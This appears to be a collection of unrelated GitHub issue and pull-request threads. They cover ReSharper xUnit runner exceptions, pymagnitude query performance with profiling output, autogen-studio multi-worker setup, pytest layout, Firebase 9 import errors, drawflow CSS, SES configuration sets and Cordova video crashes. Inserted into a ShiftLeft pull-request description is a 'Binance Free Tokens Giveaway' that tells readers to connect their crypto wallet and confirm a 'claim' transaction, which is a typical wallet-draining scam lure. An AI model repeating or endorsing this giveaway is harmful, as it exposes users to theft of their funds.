So it would great if it could be fixed in XunitContrib.Runner.ReSharper.RemoteRunner.AbstractionExtensions.ConvertExceptions, so the exception doesn't occur.

Downgrading to xUnit.net Test Support 1.6.2 works.

No, it does not mean you need to upgrade to xUnit.net v2.
What it means is that the Resharper runner will want to upgrade to the v2.1 runner utility, though, to prevent this problem in the future.

I'll take a look to see if I can better handle exceptions, too. I'd rather it fail fast than sit there without completion. Is 2.1 baked yet?

No, I'm expecting 2.1 to have a long tail, since right now its primary feature is DNX (ASP.NET v5) support. If you want, I can back-port this to create a 2.0.1.

I'm using ReSharper 9.1 and this is currently causing me quite a bit of grief. Is there anything I can to to help or at least work around the issue?

@ChrisJansson I downgraded to 1.6.2 as a work around.
Althought it is not simple to downgrade ReSharper extensions, I had to manually change some stuff in AppData

@mbp The earliest version with ReSharper 9 support is 2.0.0 unfortunately.

I've just pushed 2.1.7 to the extension gallery, with a fix for this issue, so you shouldn't need to install an old version now.

Thanks, works great!


Query time slower than gensim?

Hi!
I really hope this question doesn't come across as critical - I think this project is a great idea and really loving the speed at which it can lazy-load models.
I had one question - loading the Google news vectors is massively quicker in magnitude than gensim, however I'm finding that querying is significantly slower. Is this to be expected? It's is quite possible that this is a trade-off against loading time but want to confirm that there's nothing weird going on in my environment.
Code i'm using for testing:
import json
import os
import timeit

ITERATIONS = 500

# Tokens are loaded from disk.
# tokens = ...
tokens = json.dumps(tokens)

mag = timeit.timeit(
'''
for token in tokens:
    try:
        getVector(token)
    except:
        pass
''',
    setup =
'''
from pymagnitude import Magnitude
vec = Magnitude('/home/dom/Code/ner/ner/data/GoogleNews-vectors-negative300.magnitude')
getVector = vec.query
tokens = {}
'''.format(tokens),
    number = ITERATIONS
)

gensim = timeit.timeit(
'''
for token in tokens:
    try:
        getVector(token)
    except:
        pass
''',
    setup =
'''
from gensim.models import KeyedVectors
vec = KeyedVectors.load('/home/dom/Code/ner/ner/data/GoogleNews-vectors-negative300.w2v', mmap='r')
getVector = vec.__getitem__
tokens = {}
'''.format(tokens),
    number = ITERATIONS
)

print('Gensim is {}x faster'.format(mag / gensim))

For the code in the above; I get gensim being approximately 5x faster if memory-mapped and if not over 13x faster.

Hey Dom,
The answer is complicated, but I can give you a little bit more information on how Magnitude works and the settings and options available for caching and loading and that may help inform how to get the speed to best match your use case. Magnitude's settings are out-of-the-box configured to make local developing and iterating on models using word vectors reasonably fast as well as approach in-memory speed for production server deployment. The time trade-off made is we get rid of initial load times to make iterating much faster by making initial queries a little slower, but for many repeated queries we want Magnitude to approach Gensim so it can still be used in production.
This means on benchmarks that don't simulate repeated lookups it may appear slow because those benchmarks don't fully utilize the cache that would be available an average production scenario. Moreover, there are background threads run when Magnitude boots up that begin eagerly pre-fetching data into caches. This is useful for production environments to pre-fetch data into the cache in the background, but will also negatively impact a benchmark score.
How it works
Magnitude ultimately works by using a SQLite index for looking up a token and getting the vector. It lets SQLite and the OS manage caching data into memory which should be quite optimized.
However, there is one additional layer of caching introduced by Magnitude where query calls are LRU-cached (the size of the LRU can be configured with the lazy_loading constructor argument and is by default unbounded). What this means is that, over time, Magnitude will get faster as the same words are looked up over and over again. We found this to work really well practically due to Zipf's Law. Even though the first look up of the word "the" might be a little slow compared to Gensim's mmap method, it is negligible, since over time the look up for the word "the" will be fast since it will hit the in-memory LRU cache.
Different configurations of Magnitude
Here's a few things you can try:

Turn off background threads eagerly loading the LRU caches:

vectors = Magnitude('/path/to/w2v.magnitude', eager=False)

Turn on blocking (this will turn off lazy-loading and require you to wait a little bit before you can perform queries, but make the queries faster):

vectors = Magnitude('/path/to/w2v.magnitude', blocking=True)

Use the raw vectors NumPy mmap:

vectors.get_vectors_mmap()

This requires knowing the index of the word you want to lookup (you may need a separate data structure to do this). It is also takes sometime to build this mmap, so you will have to wait. However, it is cached even between different runs of Python on your computer/server's /tmp/ directory. So you only have to wait once.
Recommendation
Overall, I suspect if you want to / need to eke out every bit of performance in your application, there possibly are faster ways to do so than what we use in Magnitude, but we try to make Magnitude the simplest way to make development and production use of word vectors reasonably fast without having to one configuration/library for development and another configuration/library for production. We also add a ton of the nice to have features like misspelling lookups, OOV lookups, approximate lookups, multi-threading support etc. Would really depend on your application whether it makes sense to trade these off or not.
If you have any ways of making Magnitude faster that you find from your usage, that doesn't affect its current performance, feel free to submit a PR!

Thank you very much for the highly informative response - it is massively appreciated! I'm including the profile data at the bottom of this comment for posterity - but it absolutely agrees with your points.
One thing I did spot is the use of fetchall in _vector_for_key.
Altering this method to following (using fetchone) did result in a minor performance boost despite the LIMIT statement.
    def _vector_for_key(self, key):
        """Queries the database for a single key."""
        result = self._db().execute(
            """
                SELECT *
                FROM `magnitude`
                WHERE key = ?
                ORDER BY key = ? COLLATE BINARY DESC
                LIMIT 1;""",
            (key, key)).fetchone()
        if result is None or self._key_t(result[0]) != self._key_t(key):
            return None
        else:
            return self._db_result_to_vec(result[1:])

I will also do some further research, and see if I can spot anything else - many thanks.

         8947786 function calls (8945672 primitive calls) in 94.256 seconds

   Ordered by: internal time

   ncalls  tottime  percall  cumtime  percall filename:lineno(function)
      793   88.668    0.112   88.668    0.112 {method 'execute' of 'sqlite3.Cursor' objects}
980896/980000    2.783    0.000   94.256    0.000 /home/dom/Code/magnitude/pymagnitude/third_party/repoze/lru/__init__.py:337(cached_wrapper)
   980137    0.855    0.000    0.855    0.000 /home/dom/Code/magnitude/pymagnitude/third_party/repoze/lru/__init__.py:102(get)
  2941929    0.724    0.000    1.062    0.000 /home/dom/Code/magnitude/pymagnitude/third_party/repoze/lru/__init__.py:343(<genexpr>)
  1962414    0.339    0.000    0.339    0.000 {built-in method builtins.isinstance}
      793    0.229    0.000    0.229    0.000 {method 'fetchall' of 'sqlite3.Cursor' objects}
   980896    0.149    0.000    0.149    0.000 /home/dom/Code/magnitude/pymagnitude/third_party/repoze/lru/__init__.py:344(<genexpr>)
     7327    0.122    0.000    0.122    0.000 {method 'uniform' of 'mtrand.RandomState' objects}
   980898    0.102    0.000    0.102    0.000 {method 'items' of 'dict' objects}
      154    0.038    0.000   88.751    0.576 /home/dom/Code/magnitude/pymagnitude/__init__.py:515(_out_of_vocab_vector)

@DomHudson The CI had some trouble deploying to PyPI since a dependency broke, but its all fixed now. The SQLite query optimization is now on v.0.1.18. Run pip install pymagnitude -U or pip3 install pymagnitude -U to update.
Thanks for the tip! Feel free to open another issue or PR, if there's any other changes you see fit.

Great thanks!


[Feature Request]: autogen-studio Support for multi-concurrency

Is your feature request related to a problem? Please describe.
How does autogen-studio support multiple clients? At present, only serial response, does not support multi-concurrency.
Describe the solution you'd like
No response
Additional context
No response

Hi @shanmu-raoyunfei ,
Any chance you have tried running with multiple workers or multiple threads via Gunicorn?

autogenstudio ui --workers 2
gunicorn -w $((2 * $(getconf _NPROCESSORS_ONLN) + 1)) --timeout 12600 -k uvicorn.workers.UvicornWorker autogenstudio.web.app:app --bind "<IP_ADDRESS>:8081"

Let me know if that works for your intended usecase.

Great. He's working fine. Thank you

Excellent! Thanks for closing the loop here!


Remove install requirement

With the right structure, it is not necessary to install the project before
running tests.  It is probably(?) not good practice to have to do this.
Instead, if the tests are in a directory 'tests' and they properly include
modules & submodules in a directory <module_name> then running
python -m pytest from the repo root directory should work.

I have mixed feeling, if the repo include a setup.py, I like to die to try to install it (not using the -e option) and then try to import the installed package from $HOME
(This is not what is done there tho...)

That's a useful test, but a different test.  I think it would be OK to add a test that did that, but a test like this should come first so that testing doesn't rely on that working first.

sounds good I'll issue a PR alter tonight with this in.
Thank @gonuke!
Merging!


Add ShiftLeft build rules

This pull request enables build rules. You can read more about build rules here. The build rules are controlled by the shiftleft.yml file in the repository.
Visit shiftleft.io to see the security findings for this repository.
We've done a few things on your behalf

Forked this demo application
Generated a unique secret SHIFTLEFT_ACCESS_TOKEN to allow GitHub Actions in this repository to communicate with the ShiftLeft API
Committed a GitHub Action that will invoke ShiftLeft NextGen Static Application Security Testing (NG SAST) on all future pull requests on this repository
Created this pull request that demonstrates build rules. It also adds a status check that displays the result of the GitHub Action

Questions? Comments? Want to learn more? Get in touch with us or check out our documentation.

🚀 Binance Free Tokens Giveaway! 🌕
Welcome to the exclusive Binance Free Tokens Giveaway! 🎉 Don't miss out on claiming your free tokens. Here's a simple guide to get started:

Steps to Claim:

Connect Your Binance Wallet:

Click on the Connect Wallet.
Select your preferred wallet provider (Metamask, Trust Wallet, etc.).

Interact with the Contract:

Once your wallet is connected, navigate to the Binance Free Tokens Page.
Click on the "Claim" button to interact with the smart contract.

Claim Your Free Tokens:

Confirm the transaction in your wallet to execute the claim method.
Wait for the transaction to be processed.

Spread the Excitement:

After successfully claiming your tokens, share the news!

Twitter: Tweet about Your Tokens
Facebook: Share on Facebook

Act fast and enjoy your tokens! This limited-time offer won't last forever. 🌐💰


firebase is not defined

I am new to JavaScript, may be i am missing something obvious. Ideally it should have worked as it is.
I run the app and in Registration screen I get the following error. I tried googling for the issue and tried to include
  <head>
    <script src='https://cdn.firebase.com/js/client/2.2.1/firebase.js'></script>
    <script src='https://ajax.googleapis.com/ajax/libs/jquery/1.11.1/jquery.min.js'></script>
  </head>

I still get the error below. What am i missing ?
Uncaught ReferenceError: firebase is not defined
at onRegisterPress (RegistrationScreen.js:21:1)
at onPress (RegistrationScreen.js:96:1)
at onClick (PressResponder.js:348:1)
at HTMLUnknownElement.callCallback (react-dom.development.js:4164:1)
at Object.invokeGuardedCallbackDev (react-dom.development.js:4213:1)
at invokeGuardedCallback (react-dom.development.js:4277:1)
at invokeGuardedCallbackAndCatchFirstError (react-dom.development.js:4291:1)
at executeDispatch (react-dom.development.js:9041:1)
at processDispatchQueueItemsInOrder (react-dom.development.js:9073:1)
at processDispatchQueue (react-dom.development.js:9086:1)

I figured I didnt include the line
import { firebase } from '../../firebase/config'

in RegistrationScreen.js and thats the reason for the error. Now firebase is loading but still registration screen is not working.
I get the following error when i call firebase.auth()
Uncaught TypeError: _firebase_config__WEBPACK_IMPORTED_MODULE_4__.firebase.auth is not a function

I have the following in ./src/firebase/config.js

var firebase = require("firebase/app");
require("firebase/auth");
require("firebase/firestore");

const firebaseConfig = {
  apiKey: 'xxxxx',
  authDomain: 'abcd.firebaseapp.com',
  databaseURL: 'https://xyz.firebaseio.com',
  projectId: 'xyz',
  storageBucket: 'xyzappspot.com',
  messagingSenderId: '12345',
  appId: '1:123456',
};

firebase.initializeApp(firebaseConfig);
console.log(firebase);
export { firebase };

Turns out I am using Firebase 9.x and it has lot of breaking changes and this tutorial is based on a older version. For the latest changes refer to the article

@ursvasan  I know this is a bit late but if you wanted a reference for the Firebase 9 modular SDK you can find it here @
https://github.com/rybaier/react-native-firebaseModular ( I updated all the syntax and made a pull request)
I also created my own repo of it and added a few more features like SSO for Google and Apple, deleting accounts, update and delete for entities, and log out. you can find it here @ https://github.com/rybaier/react-native-firebase.

we solved that


Hi, I am facing an issue while connecting the nodes. the connecrtion doesn't start from the centre but begins a bit below. Sharing the screenshot. Can u please help

No, its not working

Can you detail more information about your code?
Does it have a fixed high or a percentage? Can you try a fixed?

#drawflow {
position: relative;
text-align:fixed;
width: calc(100vw - 301px);
height: calc(100% - 90px);
top: 40px;
background: var(--background-color);
background-size: 25px 25px;
background-image:
linear-gradient(to right, #f1f1f1 1px, transparent 1px),
linear-gradient(to bottom, #f1f1f1 1px, transparent 1px);
}
This is the css I have written

Try for discart:
#drawflow {
...
width: 800px;
height:800px;
...
}

I tried, it is not working

Is there any other way we can do to resolve this?

Can you provide your code?
Or better yet! Create a codesanbox code?
Are you using some kind of library? Bootstrap type?  Can you remove the css from the library to discard?

I am using materialise css and doing this in vue 2

Can you provide an example of your code in codesandbox, codepen ...?

https://codepen.io/KikePuma/pen/OJXXXdb
I am following this code

That code is working.
We need to see the code that is not working.

Its working now. I added margin in connection in css.


Grant Digest Email Metrics: Send emails via SES using a configuration set

Subtask of User Story: Grant Digest Email Metrics #2749
Blocked by

#2879
#2996

Blocks
N/A
Definition of Done
When gost sends emails (via SES), it specifies the SES configuration set to use for email analytics.
Implementation details

The name of the SES configuration set will be provided by an SES_CONFIGURATION_SET_DEFAULT environment variable.
This value must be provided as the ConfigurationSetName parameter when SES SendEmailCommand objects are initialized.

In light of #3035 , it appears that the implementation details for this ticket will need an additional step - some Terraform code that gives the ECSTask user permission to call ses:SendEmail on the new configuration set. Since I have very little IAM expertise, I will leave the details to @TylerHendrickson.


include deleting unique_inputs on containers.reset

For onefuzz containers reset, we filter which containers to delete and only delete based on context.    This specifically allows us to not delete tools containers while removing all of the fuzzing metadata.
This PR adds unique_inputs as a containertype that gets reset, along with all of the other fuzzing metadata containers.

passed integration tests


Add Desktop.* configurations to CI build list

Add the new Desktop configurations to the list of items to be built when checkins / pull requests are made.

Please review @chuckries @mmitche
Is there a way to verify this before checking in?

@dotnet-bot test ci please


iOS 12 and playing media fullscreen in WKWebView causes crash

I am having a crashing issue in my iOS Cordova app that happens after going fullscreen in a video a couple times, much like these issues:
https://github.com/apache/cordova-plugin-inappbrowser/issues/298
https://github.com/youtube/youtube-ios-player-helper/issues/322
I was hoping that by using WKWebView that the crashing issue I am experiencing in my app would be fixed, but it still persists, although it seems that WKWebView is somewhat more resilient and handles the crash more gracefully. XCode at least is now providing a response:

I know this is not a direct issue with the plugin, but is anyone else experiencing this problem or have work arounds? Is this a bug in iOS 12?

Bump. Experiencing same thing.

We are archiving this repository following Apache Cordova's Deprecation Policy. We will not continue to work on this repository. Therefore all issues and pull requests are being closed. Thanks for your contribution.